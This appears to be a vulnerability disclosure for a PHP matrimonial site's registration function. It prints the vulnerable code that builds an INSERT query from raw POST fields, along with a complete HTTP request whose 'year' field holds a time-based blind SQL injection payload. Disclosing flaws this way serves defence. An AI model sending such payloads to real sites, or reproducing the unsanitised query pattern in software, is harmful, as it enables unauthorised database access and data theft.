Matrimonial Site System functions.php has Sqlinjection

A SQL injection vulnerability exists in the Matrimonial Site System register has Sqlinjection The basic introduction of the vulnerability is that SQL injection means that the web application does not strictly judge or filter the validity of user input data. An attacker can add additional SQL statements to the end of a predefined query statement in a web application, and perform illegal operations without the knowledge of the administrator. In this way, the database server can be tricked into performing any unauthorized query and obtaining the corresponding data information.

Souce Code:

```php

function register(){
    if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $uname=$_POST['name'];
    $pass=$_POST['pass'];
    $email=$_POST['email'];
    $day=$_POST['day'];
    $month=$_POST['month'];
    $year=$_POST['year'];
        $day=$_POST['day'];
        $month=$_POST['month'];
        $year=$_POST['year'];
    $dob=$year ."-" . $month . "-" .$day ;
    $gender=$_POST['gender'];
    require_once("includes/dbconn.php");

    $sql = "INSERT
            INTO
               users
               ( profilestat, username, password, email, dateofbirth, gender, userlevel)
            VALUES
               (0, '$uname', '$pass', '$email', '$dob', '$gender', 0)";

    if (mysqli_query($conn,$sql)) {
      echo "Successfully Registered";
      echo "<a href=\"login.php\">";
      echo "Login to your account";
      echo "</a>";
    } else {
      echo "Error: " . $sql . "<br>" . $conn->error;
    }
}
}

function isloggedin(){
    if(!isset($_SESSION['id'])){
        return false;
    }
    else{
        return true;
    }

}

```

HTTP Attack

```
POST /marry/register.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw
Accept: */*
X-Requested-With: XMLHttpRequest
Referer: http://192.168.106.128/marry/
Cookie: PHPSESSID=csvnp7l73e6sirl96a5kplj800
Content-Length: 649
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36
Host: 192.168.106.128
Connection: Keep-alive

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="name"

fnfOzvSR
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="pass"

u]H[ww6KrA9F.x-F
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="email"

testing@example.com
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="day"

10
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="month"

10
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="year"

0'XOR(if(now()=sysdate(),sleep(4),0))XOR'Z
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="gender"

female
------------YWJkMTQzNDcw--
```